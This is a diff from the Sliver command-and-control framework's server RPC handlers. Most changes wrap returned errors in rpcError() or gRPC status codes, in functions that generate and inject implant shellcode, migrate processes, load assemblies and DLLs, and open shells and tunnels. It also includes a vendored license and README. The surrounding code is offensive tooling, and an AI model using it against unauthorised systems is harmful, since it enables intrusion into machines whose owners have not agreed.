+4 -4
View File
@@ -70,7 +70,7 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
})
if err != nil {
rpcLog.Warnf("Error while generating msf payload: %v\n", err)
return nil, err
return nil, rpcError(err)
}
taskReq := &sliverpb.TaskReq{
Encoder: "raw",
@@ -81,7 +81,7 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
resp := &sliverpb.Task{Response: &commonpb.Response{}}
err = rpc.GenericHandler(taskReq, resp)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return resp, nil
}
@@ -121,7 +121,7 @@ func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*
Format: "raw",
})
if err != nil {
return nil, err
return nil, rpcError(err)
}
taskReq := &sliverpb.TaskReq{
Pid: req.PID,
@@ -133,7 +133,7 @@ func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*
resp := &sliverpb.Task{Response: &commonpb.Response{}}
err = rpc.GenericHandler(taskReq, resp)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return resp, nil
}
+7 -4
View File
@@ -34,17 +34,20 @@ func (s *Server) Portfwd(ctx context.Context, req *sliverpb.PortfwdReq) (*sliver
}
tunnel := core.Tunnels.Get(req.TunnelID)
if tunnel == nil {
return nil, core.ErrInvalidTunnelID
return nil, rpcError(core.ErrInvalidTunnelID)
}
reqData, err := proto.Marshal(req)
if err != nil {
return nil, err
return nil, rpcError(err)
}
data, err := session.Request(sliverpb.MsgNumber(req), s.getTimeout(req), reqData)
if err != nil {
return nil, err
return nil, rpcError(err)
}
portfwd := &sliverpb.Portfwd{}
err = proto.Unmarshal(data, portfwd)
return portfwd, err
if err != nil {
return nil, rpcError(err)
}
return portfwd, nil
}
+10 -8
View File
@@ -31,6 +31,8 @@ import (
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/util"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
"google.golang.org/protobuf/proto"
)
@@ -89,16 +91,16 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
// retrieve http c2 implant config
httpC2Config, err := db.LoadHTTPC2ConfigByName(req.Config.HTTPC2ConfigName)
if err != nil {
return nil, err
return nil, rpcError(err)
}
if req.Name == "" {
name, err = codenames.GetCodename()
if err != nil {
return nil, err
return nil, rpcError(err)
}
} else if err := util.AllowedName(name); err != nil {
return nil, err
return nil, status.Error(codes.InvalidArgument, err.Error())
} else {
name = req.Name
}
@@ -109,11 +111,11 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
req.Config.ObfuscateSymbols = false
build, err := generate.GenerateConfig(name, req.Config)
if err != nil {
return nil, err
return nil, rpcError(err)
}
shellcodePath, err := generate.SliverShellcode(name, build, req.Config, httpC2Config.ImplantConfig)
if err != nil {
return nil, err
return nil, rpcError(err)
}
shellcode, _ = os.ReadFile(shellcodePath)
}
@@ -123,18 +125,18 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
Request: req.GetRequest(),
})
if err != nil {
return nil, err
return nil, rpcError(err)
}
timeout := rpc.getTimeout(req)
data, err = session.Request(sliverpb.MsgInvokeGetSystemReq, timeout, data)
if err != nil {
return nil, err
return nil, rpcError(err)
}
getSystem := &sliverpb.GetSystem{}
err = proto.Unmarshal(data, getSystem)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return getSystem, nil
}
+2 -2
View File
@@ -66,7 +66,7 @@ func (rpc *Server) Reconfigure(ctx context.Context, req *sliverpb.ReconfigureReq
}
err = db.Session().Save(beacon).Error
if err != nil {
return nil, err
return nil, rpcError(err)
}
} else {
return nil, ErrMissingRequestField
@@ -98,7 +98,7 @@ func (rpc *Server) Rename(ctx context.Context, req *clientpb.RenameReq) (*common
}
err = db.RenameBeacon(beacon.ID.String(), req.Name)
if err != nil {
return nil, err
return nil, rpcError(err)
}
} else {
return nil, ErrMissingRequestField
+1 -1
View File
@@ -56,7 +56,7 @@ func (rpc *Server) KillSession(ctx context.Context, kill *sliverpb.KillReq) (*co
core.Sessions.Remove(session.ID)
data, err := proto.Marshal(kill)
if err != nil {
return nil, err
return nil, rpcError(err)
}
timeout := time.Duration(kill.Request.GetTimeout())
session.Request(sliverpb.MsgNumber(kill), timeout, data)
+7 -4
View File
@@ -42,19 +42,22 @@ func (rpc *Server) Shell(ctx context.Context, req *sliverpb.ShellReq) (*sliverpb
}
tunnel := core.Tunnels.Get(req.TunnelID)
if tunnel == nil {
return nil, core.ErrInvalidTunnelID
return nil, rpcError(core.ErrInvalidTunnelID)
}
reqData, err := proto.Marshal(req)
if err != nil {
return nil, err
return nil, rpcError(err)
}
data, err := session.Request(sliverpb.MsgNumber(req), rpc.getTimeout(req), reqData)
if err != nil {
return nil, err
return nil, rpcError(err)
}
shell := &sliverpb.Shell{}
err = proto.Unmarshal(data, shell)
return shell, err
if err != nil {
return nil, rpcError(err)
}
return shell, nil
}
// RunSSHCommand runs a SSH command using the client built into the implant
+2 -2
View File
@@ -95,7 +95,7 @@ func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
//fmt.Println("Send Agent 1 ",fromClient.TunnelID,len(fromClient.Data))
if err != nil {
rpcLog.Warnf("Error on stream recv %s", err)
return err
return rpcError(err)
}
tunnelLog.Debugf("Tunnel %d: From client %d byte(s)",
fromClient.TunnelID, len(fromClient.Data))
@@ -173,7 +173,7 @@ func (s *Server) CloseSocks(ctx context.Context, req *sliverpb.Socks) (*commonpb
toImplantCacheSocks.DeleteTun(req.TunnelID)
fromImplantCacheSocks.DeleteTun(req.TunnelID)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return &commonpb.Empty{}, nil
}
+2 -2
View File
@@ -36,7 +36,7 @@ func (rpc *Server) StartTCPStagerListener(ctx context.Context, req *clientpb.Sta
}
job, err := c2.StartTCPStagerListenerJob(host, uint16(req.GetPort()), req.ProfileName, req.GetData())
if err != nil {
return nil, err
return nil, rpcError(err)
}
listenerJob := &clientpb.ListenerJob{
@@ -46,7 +46,7 @@ func (rpc *Server) StartTCPStagerListener(ctx context.Context, req *clientpb.Sta
}
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return &clientpb.StagerListener{JobID: uint32(job.ID)}, nil
+16 -16
View File
@@ -54,7 +54,7 @@ func (rpc *Server) Task(ctx context.Context, req *sliverpb.TaskReq) (*sliverpb.T
resp := &sliverpb.Task{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return resp, nil
}
@@ -91,10 +91,10 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
if req.Name == "" {
name, err = codenames.GetCodename()
if err != nil {
return nil, err
return nil, rpcError(err)
}
} else if err := util.AllowedName(name); err != nil {
return nil, err
return nil, status.Error(codes.InvalidArgument, err.Error())
} else {
name = req.Name
}
@@ -106,25 +106,25 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
config.ObfuscateSymbols = true
build, err := generate.GenerateConfig(name, config)
if err != nil {
return nil, err
return nil, rpcError(err)
}
// retrieve http c2 implant config
httpC2Config, err := db.LoadHTTPC2ConfigByName(req.Config.HTTPC2ConfigName)
if err != nil {
return nil, err
return nil, rpcError(err)
}
shellcodePath, err := generate.SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
if err != nil {
return nil, err
return nil, rpcError(err)
}
shellcode, _ = os.ReadFile(shellcodePath)
// Save the implant config in the database so that the server recognizes it when it tries to connect
config.ID = ""
savedConfig, err := db.SaveImplantConfig(config)
if err != nil {
return nil, err
return nil, rpcError(err)
}
build.ImplantConfigID = savedConfig.ID
@@ -135,7 +135,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
build.Name = fmt.Sprintf("%s_%d", build.Name, time.Now().Unix())
_, err = db.SaveImplantBuild(build)
if err != nil {
return nil, err
return nil, rpcError(err)
}
}
@@ -149,7 +149,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
case clientpb.ShellcodeEncoder_SHIKATA_GA_NAI:
shellcode, err = sgn.EncodeShellcode(shellcode, arch, 1, []byte{})
if err != nil {
return nil, err
return nil, rpcError(err)
}
}
@@ -165,7 +165,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
err = rpc.GenericHandler(migrateReq, resp)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return resp, nil
@@ -205,7 +205,7 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
)
if err != nil {
tasksLog.Errorf("Execute assembly failed: %s", err)
return nil, err
return nil, status.Error(codes.InvalidArgument, err.Error())
}
resp := &sliverpb.ExecuteAssembly{Response: &commonpb.Response{}}
@@ -232,7 +232,7 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
}
if err != nil {
return nil, err
return nil, rpcError(err)
}
return resp, nil
}
@@ -269,7 +269,7 @@ func (rpc *Server) Sideload(ctx context.Context, req *sliverpb.SideloadReq) (*sl
shellcode, err := generate.DonutShellcodeFromPE(req.Data, arch, false, strings.Join(req.Args, " "), "", req.EntryPoint, req.IsDLL, req.IsUnicode, false)
if err != nil {
tasksLog.Errorf("Sideload failed: %s", err)
return nil, err
return nil, status.Error(codes.InvalidArgument, err.Error())
}
req = &sliverpb.SideloadReq{
Request: req.Request,
@@ -283,7 +283,7 @@ func (rpc *Server) Sideload(ctx context.Context, req *sliverpb.SideloadReq) (*sl
resp := &sliverpb.Sideload{Response: &commonpb.Response{}}
err = rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return resp, nil
}
@@ -314,7 +314,7 @@ func (rpc *Server) SpawnDll(ctx context.Context, req *sliverpb.InvokeSpawnDllReq
resp := &sliverpb.SpawnDll{Response: &commonpb.Response{}}
offset, err := getExportOffsetFromMemory(req.Data, req.EntryPoint)
if err != nil {
return nil, err
return nil, status.Error(codes.InvalidArgument, err.Error())
}
spawnDLLReq := &sliverpb.SpawnDllReq{
Data: req.Data,
@@ -328,7 +328,7 @@ func (rpc *Server) SpawnDll(ctx context.Context, req *sliverpb.InvokeSpawnDllReq
}
err = rpc.GenericHandler(spawnDLLReq, resp)
if err != nil {
return nil, err
return nil, rpcError(err)
}
return resp, nil
}
+5 -4
View File
@@ -89,8 +89,9 @@ func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
}
// CreateTunnel - Create a new tunnel on the server, however based on only this request there's
// no way to associate the tunnel with the correct client, so the client must send
// a zero-byte message over TunnelData to bind itself to the newly created tunnel.
//
// no way to associate the tunnel with the correct client, so the client must send
// a zero-byte message over TunnelData to bind itself to the newly created tunnel.
func (s *Server) CreateTunnel(ctx context.Context, req *sliverpb.Tunnel) (*sliverpb.Tunnel, error) {
session := core.Sessions.Get(req.SessionID)
if session == nil {
@@ -124,14 +125,14 @@ func (s *Server) TunnelData(stream rpcpb.SliverRPC_TunnelDataServer) error {
}
if err != nil {
rpcLog.Warnf("Error on stream recv %s", err)
return err
return rpcError(err)
}
tunnelLog.Debugf("Tunnel %d: From client %d byte(s)",
fromClient.TunnelID, len(fromClient.Data))
tunnel := core.Tunnels.Get(fromClient.TunnelID)
if tunnel == nil {
return core.ErrInvalidTunnelID
return rpcError(core.ErrInvalidTunnelID)
}
if tunnel.Client == nil {
tunnel.Client = stream // Bind client to tunnel
+14 -10
View File
@@ -42,7 +42,7 @@ func (rpc *Server) Websites(ctx context.Context, _ *commonpb.Empty) (*clientpb.W
websiteNames, err := website.Names()
if err != nil {
rpcWebsiteLog.Warnf("Failed to find website %s", err)
return nil, err
return nil, rpcError(err)
}
websites := &clientpb.Websites{Websites: []*clientpb.Website{}}
for _, name := range websiteNames {
@@ -60,24 +60,24 @@ func (rpc *Server) Websites(ctx context.Context, _ *commonpb.Empty) (*clientpb.W
func (rpc *Server) WebsiteRemove(ctx context.Context, req *clientpb.Website) (*commonpb.Empty, error) {
web, err := website.MapContent(req.Name, false)
if err != nil {
return nil, err
return nil, rpcError(err)
}
for path := range web.Contents {
err := website.RemoveContent(req.Name, path)
if err != nil {
rpcWebsiteLog.Errorf("Failed to remove content %s", err)
return nil, err
return nil, rpcError(err)
}
}
dbWebsite, err := website.WebsiteByName(req.Name)
if err != nil {
return nil, err
return nil, rpcError(err)
}
err = db.RemoveWebSite(dbWebsite.ID)
if err != nil {
return nil, err
return nil, rpcError(err)
}
core.EventBroker.Publish(core.Event{
@@ -90,7 +90,11 @@ func (rpc *Server) WebsiteRemove(ctx context.Context, req *clientpb.Website) (*c
// Website - Get one website
func (rpc *Server) Website(ctx context.Context, req *clientpb.Website) (*clientpb.Website, error) {
return website.MapContent(req.Name, false)
site, err := website.MapContent(req.Name, false)
if err != nil {
return nil, rpcError(err)
}
return site, nil
}
// WebsiteAddContent - Add content to a website, the website is created if `name` does not exist
@@ -111,13 +115,13 @@ func (rpc *Server) WebsiteAddContent(ctx context.Context, req *clientpb.WebsiteA
err := website.AddContent(req.Name, content)
if err != nil {
rpcWebsiteLog.Errorf("Failed to add content %s", err)
return nil, err
return nil, rpcError(err)
}
}
} else {
_, err := website.AddWebsite(req.Name)
if err != nil {
return nil, err
return nil, rpcError(err)
}
}
@@ -133,7 +137,7 @@ func (rpc *Server) WebsiteAddContent(ctx context.Context, req *clientpb.WebsiteA
func (rpc *Server) WebsiteUpdateContent(ctx context.Context, req *clientpb.WebsiteAddContent) (*clientpb.Website, error) {
dbWebsite, err := website.WebsiteByName(req.Name)
if err != nil {
return nil, err
return nil, rpcError(err)
}
for _, content := range req.Contents {
website.AddContent(dbWebsite.Name, content)
@@ -153,7 +157,7 @@ func (rpc *Server) WebsiteRemoveContent(ctx context.Context, req *clientpb.Websi
err := website.RemoveContent(req.Name, path)
if err != nil {
rpcWebsiteLog.Errorf("Failed to remove content %s", err)
return nil, err
return nil, rpcError(err)
}
}
+9 -8
View File
@@ -20,7 +20,6 @@ package rpc
import (
"context"
"errors"
"runtime"
"strings"
"time"
@@ -33,8 +32,10 @@ import (
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/version"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/credentials"
"google.golang.org/grpc/peer"
"google.golang.org/grpc/status"
"google.golang.org/protobuf/proto"
"google.golang.org/protobuf/reflect/protoreflect"
)
@@ -106,7 +107,7 @@ func (rpc *Server) GenericHandler(req GenericRequest, resp GenericResponse) erro
}
if request.Async {
err = rpc.asyncGenericHandler(req, resp)
return err
return rpcError(err)
}
// Sync request
@@ -117,18 +118,18 @@ func (rpc *Server) GenericHandler(req GenericRequest, resp GenericResponse) erro
reqData, err := proto.Marshal(req)
if err != nil {
return err
return rpcError(err)
}
data, err := session.Request(sliverpb.MsgNumber(req), rpc.getTimeout(req), reqData)
if err != nil {
return err
return rpcError(err)
}
err = proto.Unmarshal(data, resp)
if err != nil {
return err
return rpcError(err)
}
return rpc.getError(resp)
return rpcError(rpc.getError(resp))
}
// asyncGenericHandler - Generic handler for async request/response's for beacon tasks
@@ -151,7 +152,7 @@ func (rpc *Server) asyncGenericHandler(req GenericRequest, resp GenericResponse)
request.BeaconID = ""
reqData, err := proto.Marshal(req)
if err != nil {
return err
return rpcError(err)
}
taskResponse := resp.GetResponse()
taskResponse.Async = true
@@ -208,7 +209,7 @@ func (rpc *Server) getTimeout(req GenericRequest) time.Duration {
func (rpc *Server) getError(resp GenericResponse) error {
respHeader := resp.GetResponse()
if respHeader != nil && respHeader.Err != "" {
return errors.New(respHeader.Err)
return status.Error(codes.FailedPrecondition, respHeader.Err)
}
return nil
}
+27
View File
@@ -0,0 +1,27 @@
Copyright (c) 2009 The Go Authors. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
* Neither the name of Google Inc. nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+5
View File
@@ -0,0 +1,5 @@
# generic-list-go [![CI](https://github.com/bahlo/generic-list-go/actions/workflows/ci.yml/badge.svg)](https://github.com/bahlo/generic-list-go/actions/workflows/ci.yml)
Go [container/list](https://pkg.go.dev/container/list) but with generics.
The code is based on `container/list` in `go1.18beta2`.
Loaded 100 of 304 files, more files were not shown because too many files have changed in this diff. Show more